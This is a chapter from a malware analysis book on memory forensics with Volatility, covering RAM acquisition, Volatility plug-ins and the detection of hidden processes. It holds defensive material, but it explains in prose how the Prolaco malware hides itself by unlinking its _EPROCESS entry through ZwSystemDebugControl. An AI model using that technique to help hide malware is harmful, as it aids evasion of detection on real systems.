Memory Forensics with Volatility - Malware Analyst’s Cookbook and DVD: Tools and Techniques for Fighting Malicious Code (2011)

Malware Analyst’s Cookbook and DVD: Tools and Techniques for Fighting Malicious Code (2011)

Chapter 14. Memory Forensics with Volatility

Memory forensics refers to finding and extracting forensic artifacts from a computer’s physical memory, otherwise known as RAM. RAM contains critical information about the runtime state of the system while the system is active. By capturing an entire copy of RAM and analyzing it on a separate computer, it is possible to reconstruct the state of the original system, including what applications were running, which files those applications were accessing, which network connections were active, and many other artifacts. For these reasons, memory forensics is extremely important to incident response. However, as you might have guessed, especially because you’re reading a book called Malware Analyst’s Cookbook, you can also use memory forensics to assist with unpacking, rootkit detection, and reverse engineering. This chapter provides an introduction to some tools you can use to capture memory and show you how to begin analyzing these memory samples with Volatility.

Memory Acquisition

Before dumping the memory of a target machine, you have to decide which tool to use for the acquisition. Most tools work consistently across different configurations in terms of architecture, operating system version, and size of physical memory, but there are some that do not. The worst thing you can do is try to dump memory of a 64-bit machine with 8GB of RAM using a tool that only supports 32-bit machines with 4GB of RAM. In this case, you may cause a Blue Screen of Death (BSOD) and end up destroying more evidence than you collect. You also have to decide where to store the captured memory sample. If you output data directly to the infected machine’s hard disk, you run the risk of destroying artifacts in slack or unallocated space. If you output data to removable media, then you must enable write operations to the media. This may allow malware on the infected machine to spread by copying itself to the removable media. Likewise, if you plan to pipe the output to a network drive or remote location, this opens up the opportunity for any malware on the infected machine to attack other systems on the same network.

Recipe 15-1: Dumping Memory with MoonSols Windows Memory Toolkit

MoonSols Windows Memory Toolkit1 (previously win32dd) by Matthieu Suiche supports memory acquisition from 32-bit and 64-bit versions of Windows XP, 2003, 2008, Vista, 2008 R2, and 7. Here are a few of the attractive features of the toolkit:

· It supports hashing with MD5, SHA-1, and SHA-256.

· It includes a server component so you can transmit memory dumps across the network.

· It can map memory in three different ways, including the well-known use of \Device\PhysicalMemory.

· It can convert full memory dumps to Microsoft crash dumps, which you can then analyze using one of Microsoft’s debuggers (see Chapter 14).

· It can convert hibernation files into memory dumps.

· The professional version has support for scripting, dumping memory from a greater number of OS versions, converting from an x64 architecture, and so on.

Using MoonSols/win32dd

To get started, download a copy of the toolkit and extract the archive. By default, the files win32dd.exe and win32dd.sys are in the same directory (you’ll also have win64dd.exe and win64dd.sys), and it is important to keep them that way. Otherwise, the EXE file will not be able to locate the SYS file. Here is the syntax for win32dd.exe:

F:\> win32dd.exe /?

win32dd - 1.3.1.20100417 - (Community Edition)

Kernel land physical memory acquisition

Copyright (C) 2007 - 2010, Matthieu Suiche <http://www.msuiche.net>

Copyright (C) 2009 - 2010, MoonSols <http://www.moonsols.com>

Usage: win32dd [options]

Option Description

------ -----------

/f <file> File destination.

/r Create a Raw memory dump file. (default)

/d Create a Microsoft memory crash dump file. (WinDbg compliant, XP and later only).

/c <value> Memory content.

0 - Microsoft memory crash dump file.

1 - Full physical address space. (default)

2 - Memory manager physical memory block.

/m <value> Mapping method for either /d or /r option.

0 - MmMapIoSpace().

1 - \\Device\\PhysicalMemory.

2 - PFN Mapping. (default)

/e Create a Microsoft hibernation file. (local only, reboot)

/k Create a Microsoft memory crash dump file (BSOD).

(local only, reboot)

/s <value> Hash function to use.

0 - No hashing algorithm. (default)

1 - SHA1 algorithm.

2 - MD5 algorithm.

3 - SHA-256 algorithm.

/y <value> Speed level.

0 - Normal.

1 - Fast.

2 - Sonic.

3 - Hyper sonic. (default)

/t <addr> Remote host or address IP.

/p <port> Port, can be used with both /t and /l options. (default: 1337)

/l Server mode to receive memory dump remotely.

/a Answer "yes" to all questions.

/? Display this help.

To save the output file to mem.dmp in the same path as win32dd.exe, and create a SHA-1 hash of the dumped file, you can use the following syntax:

F:\>win32dd.exe /f mem.dmp /s 1

The output from this command shows details about the computer’s memory configuration, including the total address space size, the size of an individual memory page, and the number of seconds that elapsed during the memory acquisition.

Name Value

---- -----

File type: Raw memory dump file

Acquisition method: PFN Mapping

Content: Memory manager physical memory block

Destination path: mem.dmp

O.S. Version: Microsoft Windows XP Professional

Service Pack 3 (build 2600)

Computer name: JASONRESACC69

Physical page size: 4096 bytes

Minimum physical address: 0x0000000000001000

Maximum physical address: 0x000000001FFEF000

Address space size: 536805376 bytes ( 524224 Kb)

--> Are you sure you want to continue? [y/n]

Acquisition started at: [9/11/2009 (DD/MM/YYYY) 20:44:20 (UTC)]

Processing....Done.

Acquisition finished at: [2009-11-09 (YYYY-MM-DD) 20:44:41 (UTC)]

Time elapsed: 0:21 minutes:seconds (21 secs)

Created file size: 536805376 bytes ( 511 Mb)

SHA1: AA29AABD350BB03DB454C169EE91B6D73729EF15

In order to save the dump directly to another machine by transferring the image across the network, you would first need to start a server instance of win32dd.exe. On the machine you want to use to receive the memory dump, determine its IP address and then invoke a server instance, like this:

F:\>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 10.211.55.5

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 10.211.55.1

F:\>win32dd.exe /l /f mem.dmp

win32dd - 1.3.1.20100417 - (Community Edition)

Kernel land physical memory acquisition

Copyright (C) 2007 - 2010, Matthieu Suiche <http://www.msuiche.net>

Copyright (C) 2009 - 2010, MoonSols <http://www.moonsols.com>

Remote server: 0.0.0.0:1337

By default, win32dd.exe listens on all interfaces and uses TCP port 1337. You can modify the port by using the /p switch when creating the server instance. The next step is to move to the target machine from which you want to acquire memory and tell win32dd.exe to connect to your server instance for sending the memory dump:

F:\>win32dd.exe /t 10.211.55.5 /s 1

Note that we selected to compute a SHA-1 hash of the memory dump, as in the first example. On your server machine, you should verify the hash to make sure there weren’t any errors in transmission.

Note You can also consider using the following tools for capturing memory samples:

· KnTTools by George M. Garner Jr.2

· FastDump Pro by HB Gary3

· MemoryDD.bat by Mandiant (part of the Memoryze toolkit)4

1 http://moonsols.com/

2 http://gmgsystemsinc.com/knttools/

3 https://www.hbgary.com/products-services/fastdump-pro/

4 http://www.mandiant.com/products/free_software/memoryze/

Recipe 15-2: Remote, Read-only Memory Acquisition with F-Response

F-Response,5 by Matt Shannon, provides read-only access to a remote computer’s physical storage media, including physical memory. F-Response uses a standalone, disposable agent that you deploy to the target machine. The agent implements a version of the iSCSI protocol that F-Response modified to block write operations to the target media, thus it prevents accidental changes during acquisition and analysis. F-Response is designed for compatibility with any forensic software that provides disk or memory analysis capabilities. For example, you could use F-Response to mount a target system’s drives over the network and then use The Sleuth Kit,6 X-Ways,7 EnCase,8 or FTK9 on your analysis machine to inspect the target machine for malicious activity.

More importantly for the topic at hand is that you can use F-Response to mount RAM over the network and then examine it from your analysis machine. In a presentation titled “Upping the ‘Anti’: Using Memory Analysis to Fight Malware,”10 Matt Shannon and AAron Walters introduced a tool called Voltage, which couples the power of F-Response and Volatility. The idea is that you could detect changes to memory in real time across all computers in an enterprise without having to reboot, power down, visit them physically, or worry about causing disruptions.

Using F-Response

The steps for using F-Response are different depending on which edition of the software you purchase. Figure 15-1 shows an image of the agent that you would run on a target machine using the Field Kit Edition of F-Response. Once you have entered the requested options, you would connect to the target machine (192.168.1.129 on TCP port 3260 in this case) from your analysis station using Microsoft’s iSCSI initiator. The target machine’s physical disk(s) and memory will then be made available to your analysis machine over the network. For example, you might see the target machine’s C: drive mounted as F: on your analysis station, and the target machine’s memory mounted as G:. Then you can launch your desired forensic software from your analysis station and aim them at your F: or G: drive. You can also connect to the target from a Mac OS X or Unix/Linux system using the iSCSI software for the respective platforms.

Figure 15-1: The F-Response Field Kit Edition software

f1501.tif

5 http://www.f-response.com

6 http://www.sleuthkit.org/

7 http://www.x-ways.net/forensics/index-m.html

8 http://www.guidancesoftware.com/

9 http://www.accessdata.com/forensictoolkit.html

10 http://www.4tphi.net/fatkit/papers/Walters_2008_SANS.pdf

Recipe 15-3: Accessing Virtual Machine Memory Files

Virtual machines provide a useful environment for dynamic analysis of malware, as we discussed in Chapters 7, 8, and 9. After you execute malware in a VM, you can analyze the VM’s RAM for signs of malicious activity. In most cases, you can acquire RAM from guest machines by just suspending (or pausing) the VM, at which time the guest’s RAM will be written to a file on the host’s disk. Table 15-1 shows the default locations where popular VM applications store the memory files. If you changed settings during the installation process, then your files might be elsewhere on the drive—in which case you can use the tip in the far right column of Table 15-1 to find them.

Table 15-1: Virtual Machine Memory Files

Product

Default Location

Other Location

VMware Fusion (on Mac OS X)

/Users/<UserName>/Documents/Virtual Machines.localized/*.vmem

From the Virtual Machine Library, right-click a VM and select Show in Finder.

Parallels (on Mac OS X)

/Users/<UserName/Documents/Parallels/<VMName>.pvm/*.mem

From the Virtual Machine List, right-click a VM and select Show In Finder.

VMware Server (on Linux)

/var/lib/vmware/Virtual Machines/<VMName>/*.vmem

Use the command line vmrun tool with the listRegisteredVM option, and then search your driver for the file names.

VMware Workstation (on Windows)

%MYDOCUMENTS%\My Virtual Machines\<VMName>\*.vmem

From VMware Workstation, click Edit ⇒ Preferences ⇒ Workspace.

The list of products in the table is not comprehensive; however, it should give you a pretty good idea of where to find the memory files if you’re using a different configuration. One good indication that you’ve found the memory file is that its file size is the same as the amount of RAM installed for your VM. Some applications are exceptions to this rule (for example, VirtualBox, as we discussed in Recipe 8-2). Of course, you can always log into the guest and dump memory with win32dd.exe as described in Recipe 15-1.

Preparing a Volatility Install

Volatility (https://www.volatilesystems.com/default/volatility) is an advanced memory forensics framework written in Python. It’s free to use and runs on Linux, Mac OS X, and Windows. As of this writing, Volatility 1.3 is the current version; however, the 1.4 release should be out by the time this book is published or very soon after. With the 1.4 release, you can analyze memory dumps from Windows XP SP2, XP SP3, Vista, and 7. Keep in mind throughout the next few chapters that some commands and plug-ins may change status or have slightly different syntax in the 1.4 release than they do in the examples we present.

The DVD that accompanies this book contains about 10 memory samples from machines infected with different malware. You can use the memory samples to follow along and identify the same types of artifacts that we discuss in the recipes. If you need additional samples for testing, you can download some of the exemplars posted by Hogfly (see http://cid-5694a755c9c6a175.skydrive.live.com/browse.aspx/Public) or automate the execution of malware inside a virtual machine (see Chapter 8) and save the memory dumps.

Recipe 15-4: Volatility in a Nutshell

Before using Volatility, make sure you have installed Python 2.6 or greater. Then, you can download the latest Volatility release using the following commands on Mac OS X or Linux.

$ svn checkout http://volatility.googlecode.com/svn/trunk/ \

volatility-read-only

To obtain previous releases or upcoming beta versions, replace trunk with branches/Volatility-1.3.2 or branches/Volatility-1.4_rc1. If you’re using Windows, you can also use an SVN client to fetch the code (TortoiseSVN is a popular one) or just download an archive, which you can find on Volatility’s Google Code site.11 Once you have the code, just execute the main volatility.py script, which will print a list of internal commands, as shown in Table 15-2.

Table 15-2: Internal Volatility Commands

Name

Purpose

bioskbd

Reads the keyboard buffer from Real Mode memory

connections

Prints list of open connections

connscan2

Scans physical memory for _TCPT_OBJECT objects (TCP connections)

crashdump

Dumps the crash-dump file to a raw file

crashinfo

Dumps crash-dump information

datetime

Gets date/time information for image

dlllist

Prints list of loaded DLLs for each process

dllpatch

Patches DLLs based on page scans

driverscan

Scans for driver objects _DRIVER_OBJECT

files

Prints list of open files for each process

filescan

Scans physical memory for _FILE_OBJECT pool allocations

getsids

Prints the SIDs owning each process

hibdump

Dumps the hibernation file to a raw file

hivelist

Prints list of registry hives

hivescan

Scans physical memory for _CMHIVE objects (registry hives)

ident

Identifies information for the image

kpcrscan

Searches for and dump potential KPCR values

memdump

Dumps the addressable memory for a process

memmap

Prints the memory map

modscan2

Scans physical memory for _LDR_DATA_TABLE_ENTRY objects

modules

Prints list of loaded modules

mutantscan

Scans for mutant objects _KMUTANT

printkey

Prints a registry key, and its subkeys and values

procexedump

Dumps a process to an executable file sample

procmemdump

Dumps a process to an executable memory sample

pslist

Prints all running processes by following the _EPROCESS lists

psscan

Scans physical memory for _EPROCESS objects

pstree

Prints process list as a tree

regobjkeys

Prints list of open regkeys for each process

sockets

Prints list of open sockets

sockscan

Scans physical memory for _ADDRESS_OBJECT objects (TCP sockets)

ssdt

Displays SSDT entries

strings

Matches physical offsets to virtual addresses (may take a while, VERY verbose)

thrdscan

Scans physical memory for _ETHREAD objects

thrdscan2

Scans physical memory for _ETHREAD objects (a different way)

vaddump

Dumps out the VAD sections to a file

vadinfo

Dumps the VAD info

vadtree

Walks the VAD tree and display in tree format

vadwalk

Walks the VAD tree

verinfo

Prints out the version information from PE images

Volatility Syntax

You can see a list of generic command-line switches by passing the –h flag to volatility.py. Here are a few examples:

· Always pass the –f FILENAME parameter to indicate which memory dump you’re analyzing.

· The default output format is text; however, some plug-ins can output data as HTML, SQL, or Graphviz .dot files. To change the output format, use --output=FORMAT.

· You can save the output from any commands directly to a file by specifying --output-file=FILENAME.

It is also possible to find plug-in–specific command-line switches by passing the –h flag to the respective plug-in.

Volatility Plug-ins

Volatility is open to the community, so anyone can create new plug-ins to detect rootkits or uncover artifacts created by malware. The Forensics Wiki12 and the Volatility Wiki13 on Google Code contain a list of available plug-ins. You should note that some plug-ins may be merged into the Volatility core in future releases, so before you go looking for a copy of the plug-in, make sure it’s not already integrated into the most recent version of Volatility. In fact, many of the plug-ins for Volatility 1.3 have already been incorporated into the 1.4 core, so they are listed in Table 15-2.

There are a few ways to install the plug-ins, depending on which version of Volatility you’re using:

· Copy the .py files into the memory_plugins directory (for 1.3).

· Copy the .py files into the plugins directory (for 1.4).

· Specify a location to your .py files with the --plugins command-line parameter to 1.4.

Table 15-3 lists several of the plug-ins that we discuss in other chapters.

Table 15-3: Plug-ins for Volatility

Name

Dependencies

Purpose

volrip

Inline::Python

Uses RegRipper and RegRipper plug-ins to automate the extraction of critical evidence from the registry

moddump

-

Extracts kernel modules

apihooks

pefile, pydasm

Detects IAT, EAT, and Inline API hooks in user mode processes and kernel drivers

csrss_pslist

-

Detects hidden processes with csrss.exe handles and CsrRootProcess links

driverirp

-

Detects attempts to hook driver IRP functions

idt

-

Detects attempts to hook the Interrupt Descriptor Table (IDT)

impscan

pydasm, IDA Pro

Scans unpacked user mode processes and kernel drivers for imported functions. This can help rebuild dumped binaries for static analysis

ldr_modules

-

Detects unlinked/hidden DLLs with memory-mapped files

malfind

pydasm, YARA

Detects hidden and injected code and provides a framework for general-purpose signature-based memory scanning

notify_routines

pefile

Detects system-wide notification routines—a technique used by many kernel-level rootkits

orphan_threads

-

Detects hidden kernel threads

ssdt_ex

IDA Pro

Automatic SSDT hook explorer system for use with IDA Pro

ssdt_by_threads

-

Highlights hooked SSDT entries by thread

svcscan

-

Detects hidden services by scanning the SCM’s SERVICE_RECORD structures

11 http://code.google.com/p/volatility/

12 http://www.forensicswiki.org/wiki/List_of_Volatility_Plugins

13 http://code.google.com/p/volatility/wiki/Plugins

Recipe 15-5: Investigating processes in Memory Dumps

The Windows kernel tracks processes by assigning them a unique _EPROCESS structure that resides in a non-paged pool of kernel memory. The format of these structures (as well as other structures mentioned throughout the next few chapters) varies between different versions of Windows. However, you can always find the appropriate structure by using WinDbg on the target machine, as we described in Chapter 14. In the following example, we’re using Windows XP SP2 to display the _EPROCESS type:

kd> dt nt!_EPROCESS

+0x000 Pcb : _KPROCESS

+0x06c ProcessLock : _EX_PUSH_LOCK

+0x070 CreateTime : _LARGE_INTEGER

+0x078 ExitTime : _LARGE_INTEGER

+0x080 RundownProtect : _EX_RUNDOWN_REF

+0x084 UniqueProcessId : Ptr32 Void

+0x088 ActiveProcessLinks : _LIST_ENTRY

+0x090 QuotaUsage : [3] Uint4B

+0x09c QuotaPeak : [3] Uint4B

+0x0a8 CommitCharge : Uint4B

+0x0ac PeakVirtualSize : Uint4B

+0x0b0 VirtualSize : Uint4B

+0x0b4 SessionProcessLinks : _LIST_ENTRY

+0x0bc DebugPort : Ptr32 Void

+0x0c0 ExceptionPort : Ptr32 Void

+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE

+0x0c8 Token : _EX_FAST_REF

+0x0cc WorkingSetLock : _FAST_MUTEX

+0x0ec WorkingSetPage : Uint4B

+0x0f0 AddressCreationLock : _FAST_MUTEX

+0x110 HyperSpaceLock : Uint4B

+0x114 ForkInProgress : Ptr32 _ETHREAD

+0x118 HardwareTrigger : Uint4B

+0x11c VadRoot : Ptr32 Void

+0x120 VadHint : Ptr32 Void

+0x124 CloneRoot : Ptr32 Void

+0x128 NumberOfPrivatePages : Uint4B

+0x12c NumberOfLockedPages : Uint4B

+0x130 Win32Process : Ptr32 Void

+0x134 Job : Ptr32 _EJOB

+0x138 SectionObject : Ptr32 Void

+0x13c SectionBaseAddress : Ptr32 Void

+0x140 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK

+0x144 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY

+0x148 Win32WindowStation : Ptr32 Void

+0x14c InheritedFromUniqueProcessId : Ptr32 Void

+0x150 LdtInformation : Ptr32 Void

+0x154 VadFreeHint : Ptr32 Void

+0x158 VdmObjects : Ptr32 Void

+0x15c DeviceMap : Ptr32 Void

+0x160 PhysicalVadList : _LIST_ENTRY

+0x168 PageDirectoryPte : _HARDWARE_PTE

+0x168 Filler : Uint8B

+0x170 Session : Ptr32 Void

+0x174 ImageFileName : [16] UChar

+0x184 JobLinks : _LIST_ENTRY

+0x18c LockedPagesList : Ptr32 Void

+0x190 ThreadListHead : _LIST_ENTRY

+0x198 SecurityPort : Ptr32 Void

+0x19c PaeTop : Ptr32 Void

+0x1a0 ActiveThreads : Uint4B

+0x1a4 GrantedAccess : Uint4B

+0x1a8 DefaultHardErrorProcessing : Uint4B

+0x1ac LastThreadExitStatus : Int4B

+0x1b0 Peb : Ptr32 _PEB

[...]

kd> dt nt!_LIST_ENTRY

+0x000 Flink : Ptr32 _LIST_ENTRY

+0x004 Blink : Ptr32 _LIST_ENTRY

The _EPROCESS structure contains a LIST_ENTRY structure called ActiveProcessLinks. The LIST_ENTRY structure contains two members: a Flink (forward link), which points to the Flink value of the next _EPROCESS structure, and the Blink (backward link), which points to the Blink value of the previous _EPROCESS structure. Together, this creates a chain of process objects, also called a doubly linked list.

If you need a visual aid for a doubly linked list, think of a group of people that all join hands so that they are standing in a big circle. By joining hands, each person is connected to exactly two other people. If you wanted to count the number of people in the group, you could pick a person to start with and then walk in either direction along the outside of the circle and count the number of heads until you end up back at the starting point. You can use a similar technique to count processes on a system.

Enumerating Processes on a Live Machine

The following list shows a few ways to enumerate processes on a live Windows machine from within your own programs. The similarity between all these methods, including the methods used by tools such as Process Explorer and Task Manager, is that they all rely on finding and walking the same doubly linked list of _EPROCESS structures that exists in kernel memory.

· You can call PsGetCurrentProcess (kernel mode only), which returns a pointer to the current process’s _EPROCESS structure. From there, you can walk the LIST_ENTRY members until you end up back at the value returned by PsGetCurrentProcess.

· User-mode applications can call a native API function such as NtQuerySystemInformation with the SystemProcessInformation class.

· User-mode applications can call a Win32 API function such as CreateToolHelp32Snapshot or EnumProcesses.

Enumerating Processes in Memory Dumps

If you are working off a memory dump, the methodology is different because you cannot run programs that utilize the operating system’s APIs. In order to find the _EPROCESS structures, Volatility locates a symbol named _PsActiveProcessHead, which is defined in ntoskrnl.exe (or ntkrnlpa.exe if you have PAE enabled or a 64-bit system). This _PsActiveProcessHead symbol is a global variable that points to the beginning of the doubly linked list of _EPROCESS structures.

Although _PsActiveProcessHead is not exported, it is accessible from the _KPCR structure (Kernel Processor Control Region), which exists at a fixed address on XP systems, as described in “Finding some non-exported kernel variables in Windows XP.”14 Starting with Vista, the _KPCR is no longer at a fixed address, but you can still find it using various scanning techniques. For more information, see the three-part tutorial on adding support for new operating systems into Volatility by Bradley Schatz.15

Volatility Commands

There are a few commands you can use in Volatility for printing information about processes:

· pslist finds and walks the _EPROCESS doubly linked list.

· pstree takes the output from pslist and formats it in a tree view.

· psscan scans for _EPROCESS objects instead of relying on the linked list.

· psscan3 scans for _EPROCESS objects using robust signatures (see the end of Recipe 15-6).

The following command shows you how to use pslist:

$ python volatility.py pslist –f memory.bin

Name Pid PPid Thds Hnds Time

System 4 0 54 232 Thu Jan 01 00:00:00 1970

smss.exe 368 4 3 21 Tue Dec 01 15:58:54 2009

csrss.exe 516 368 10 324 Tue Dec 01 15:58:55 2009

winlogon.exe 540 368 18 505 Tue Dec 01 15:58:55 2009

services.exe 652 540 16 252 Tue Dec 01 15:58:55 2009

lsass.exe 664 540 21 326 Tue Dec 01 15:58:55 2009

svchost.exe 828 652 19 196 Tue Dec 01 15:58:55 2009

svchost.exe 908 652 10 225 Tue Dec 01 15:58:55 2009

svchost.exe 1004 652 67 1085 Tue Dec 01 15:58:55 2009

svchost.exe 1064 652 5 57 Tue Dec 01 15:58:55 2009

svchost.exe 1120 652 15 205 Tue Dec 01 15:58:56 2009

spoolsv.exe 1528 652 12 111 Tue Dec 01 15:58:56 2009

explorer.exe 1572 1496 10 284 Tue Dec 01 15:58:56 2009

alg.exe 780 652 6 104 Tue Dec 01 15:59:07 2009

wscntfy.exe 696 1004 1 27 Tue Dec 01 15:59:09 2009

cmd.exe 984 1572 1 31 Tue Dec 01 16:05:26 2009

win32dd.exe 996 984 1 21 Tue Dec 01 16:05:42 2009

Table 15-4 shows which member of the _EPROCESS structure Volatility reads to provide each field in the pslist output. We highlighted the corresponding members in the WinDbg output that you saw in the beginning of this recipe.

Table 15-4: Pslist Output Fields

Field

Description

Source

Name

Name of the process executable

EPROCESS.ImageFileName

Pid

Process ID

EPROCESS.UniqueProcessId

PPid

Parent process ID

EPROCESS.InheritedFromUniqueProcessId

Thds

Number of active threads in the process

EPROCESS.ActiveThreads

Hnds

Number of open handles in the process

EPROCESS.ObjectTable.HandleCount

Time

Time when the process was started

EPROCESS.CreateTime

Visualizations with psscan

The psscan command can print a Graphviz-compatible16 graph showing the parent/child relationship between processes. You can produce such an image using the following command.

$ python volatility.py psscan –f memory.bin --output=dot

--output-file=processes.dot

Then open the output file in Graphviz, as shown in Figure 15-2. Based on the graph, you can make the following conclusions:

· Pid 0, the System Idle Process, doesn’t have details because it’s not a “real” process.

· Details aren’t available for the process with Pid 1536 (which appears to have created explorer.exe). However, based on what you know about the boot sequence, Pid 1536 probably belonged to userinit.exe—but it has since exited. Winlogon.exe launches userinit.exe, which in turn launches explorer.exe. Once userinit.exe is finished, it terminates, leaving explorer.exe without a parent process. It is still possible to determine a process’s parent, even after the parent exits, by looking at the _EPROCESS.InheritedFromUniqueProcessId field.

· Based on the tree structure, you can see that a user logged into the machine and invoked cmd.exe from explorer.exe. Using the cmd.exe shell, the user invoked win32dd.exe to dump the machine’s memory.

14 http://www.reverse-engineering.info/SystemInformation/GetVarXP.pdf

15 http://blog.schatzforensic.com.au/2010/05/adding-new-structure-definitions-to-volatility/

16 http://www.graphviz.org/

Figure 15-2: Graphviz output from psscan

f1502a.eps f1502b.eps

Recipe 15-6: Detecting DKOM Attacks with psscan

dvd1.eps

You can find supporting materials for this recipe on the companion DVD.

The pslist command is susceptible to rootkits that perform DKOM (Direct Kernel Object Manipulation). Many attacks are possible with DKOM, but one of the most common is hiding a process by unlinking its entry from the doubly linked list. To do this, you overwrite the Flink and Blink pointers of surrounding objects so that they point around the _EPROCESS structure of the process to hide. Consider the previous analogy of people joining hands and forming a circle to depict a doubly linked list. If one person releases both hands to step outside the circle, the individuals on the left and right will join hands and close the gap. The person who disconnected does not disappear and is now free to walk about the room. If you try to count people using the original method we described, you will count one less than actually exists. However, if you change techniques and scan the entire room using a thermal imaging device, you will count the correct number of people, even if one or more people are no longer standing in the circle.

The Volatility command psscan is not exactly a thermal imaging device, but it works similarly in theory. Instead of walking the _EPROCESS list like pslist does, it scans memory for pools with the same attributes that the kernel uses for _EPROCESS objects and then applies a series of sanity checks to look for constrained data items (CDIs). This way, you are able to find _EPROCESS objects in memory even if they are unlinked from the list. Before we begin with the example, consider the following ways that malware can directly modify kernel objects:

· By loading a kernel driver, which then has unrestricted access to objects in kernel memory

· By mapping a writable view of the \\Device\PhysicalMemory object (however, starting with Windows 2003 SP1 and Vista, access to this object is restricted from user-mode programs)

· By using a special native API function called ZwSystemDebugControl

The Case of Prolaco

To demonstrate how you can use psscan to find hidden processes, we’ll focus on a malware sample known to antivirus vendors as Prolaco.17 This malware performs DKOM entirely from user mode, without loading any kernel drivers. It does so by using the ZwSystemDebugControl API in almost the exact manner described by Alex Ionescu on the OpenRCE website.18 Figure 15-3shows a decompilation of Prolaco, as produced by IDA Pro and Hex-Rays.

Based on the image, you can make the following conclusions about how the malware performs DKOM:

· It enables the debug privilege (SeDebugPrivilege), which gives the process the required access for using ZwSystemDebugControl.

Figure 15-3: Prolaco sample loaded in IDA with Hex-Rays

f1503.tif

· It calls NtQuerySystemInformation with a SystemModuleInformation class to locate the base address of the kernel execute module (i.e., ntoskrnl.exe).

· It finds PsInitialSystemProcess—a global variable exported by ntoskrnl.exe that points to the _EPROCESS object for the System process.

· It begins to walk the linked list of _EPROCESS objects until it finds the process with a UnqiueProcessId that matches the value we labeled as PidOfProcessToHide. Notice the fixed number 0x88 being used throughout the while loop—this is the offset to ActiveProcessLinks within the _EPROCESS structure (see the WinDbg output at the beginning of this section to confirm). Also note thatPidOfProcessToHide is passed into the function as a parameter. The malware derives it using GetCurrentProcessId (which means it tries to hide itself).

· It calls WriteKernelMemory, which is merely a wrapper around ZwSystemDebugControl that writes 4 bytes at a time to a specified address in kernel memory. Which 4 bytes does it write? You guessed it—the Flink and Blink pointers. Figure 15-4 shows the contents of this function.

Figure 15-4: The ZwSystemDebugControl call

f1504.tif

DKOM Discovery with psscan

Because psscan finds the _EPROCESS structures in a completely different manner than pslist, using only one of the commands alone is not sufficient for detecting DKOM rootkits. What you need to do is run both commands and then determine if psscan shows any entries that pslist does not. For the sake of brevity, we’ve truncated some of the fields in the following output:

$ python volatility.py pslist -f prolaco.vmem

Name Pid PPid Thds Hnds

System 4 0 56 253

smss.exe 544 4 3 21

csrss.exe 608 544 11 349

winlogon.exe 632 544 19 565

services.exe 676 632 16 269

lsass.exe 688 632 19 341

svchost.exe 856 676 16 198

svchost.exe 936 676 9 256

svchost.exe 1028 676 63 1334

svchost.exe 1088 676 4 75

svchost.exe 1148 676 14 207

spoolsv.exe 1432 676 13 135

explorer.exe 1724 1708 11 294

$ python volatility.py psscan –f prolaco.vmem

PID PPID Time exited Remarks

------ ------ ------------------- ----------------

0 0 Idle

1260 1724 2010-08-11 16:50:42 rundll32.exe

1028 676 svchost.exe

1336 1136 1_doc_RCData_61

856 676 svchost.exe

4 0 System

1724 1708 explorer.exe

544 4 smss.exe

688 632 lsass.exe

676 632 services.exe

1088 676 svchost.exe

936 676 svchost.exe

1144 420 2010-08-11 16:50:08 msiexec.exe

1148 676 svchost.exe

632 544 winlogon.exe

608 544 csrss.exe

1432 676 spoolsv.exe

As you can see in the output, a process named 1_doc_RCData_61.exe is visible with psscan but not with pslist. Also note that rundll32.exe and msiexec.exe are missing from the pslist output; however, that’s fairly normal for processes that have recently exited. Is it possible for malware to overwrite its own _EPROCESS.ExitTime field and appear as if it terminated? Sure. In fact, Brendan Dolan-Gavitt (see Robust Signatures for Kernel Data Structures19) determined that attackers can overwrite around 51 fields in the _EPROCESS structure without crashing the process or the kernel. Based on this research, Brendan was able to create a new Volatility plug-in, psscan3, which depends only on the fields that are essential for maintaining the stability of the operating system.

Note Jesse Kornblum wrote a plug-in for Volatility 1.4 that automatically compares the output between pslist and psscan. You can find his plug-in, titled pstotal, on his Memory Forensics and The Guy in Row Three20 blog.

17 http://www.avira.com/en/threats/section/fulldetails/id_vir/5377/worm_prolaco.c.2.html

18 http://www.openrce.org/blog/view/354/Tips_&_Tricks_Part_2_-_Putting_ZwSystemDebugControl_to_good_use

19 http://www.cc.gatech.edu/~brendan/ccs09_siggen.pdf

20 http://jessekornblum.livejournal.com/265048.html

Recipe 15-7: Exploring csrss.exe’s Alternate Process Listings

dvd1.eps

You can find supporting materials for this recipe on the companion DVD.

The Client/Server Runtime Subsystem process, csrss.exe, duplicates handles to all processes on the system, with the exception of itself and the processes that started before it (usually just the Idle process, System process, and smss.exe). By analyzing the handle table for csrss.exe, you can determine if it has any open handles to processes that do not exist in the doubly linked list of _EPROCESS structures. Additionally, csrss.exe maintains a separate, internal list of active processes that you can use for comparison—a technique discovered by Diablo and implemented in CsrWalker21 (a DKOM detection utility that runs on live Windows systems).

DKOM Discovery with csrss_pslist

The csrss_pslist plug-in for Volatility implements both of the described techniques involving csrss.exe. The following command shows how to render the output from csrss_pslist into an HTML file (it also has a text-based rendering function, but the HTML is nicer to visualize).

$ python volatility.py csrss_pslist -f prolaco.vmem --output=html

--output-file=csrss_pslist.html

When you open the output file in a browser, you’ll see a color-coded list of processes, as show in Figure 15-5. Each of the three columns (besides the process name and Pid) contains True or False, depending on whether the particular process existed in that list. As previously mentioned, the csrss.exe lists do not contain knowledge about csrss.exe itself or any process that started before csrss.exe in the boot sequence. Thus, the two columns on the right of Figure 15-5 show False for csrss.exe, smss.exe, and the System process. However, you also see False in the _EPROCESS column for the process named 1_doc_RCData_61.exe, which is a positive indication of DKOM.

Figure 15-5: The 1_doc_RCData_61.exe process is not in the EPROC List

f1505.tif

On Vista and later systems, there may be more than one csrss.exe. Additionally, if multiple users are logged onto a system or there is an active RDP or Terminal Services session, then you will also see multiple copies of csrss.exe. In these cases, you have to parse the handle tables and memory lists for all csrss.exe instances (csrss_pslist does this for you).

Caveats of csrss_pslist

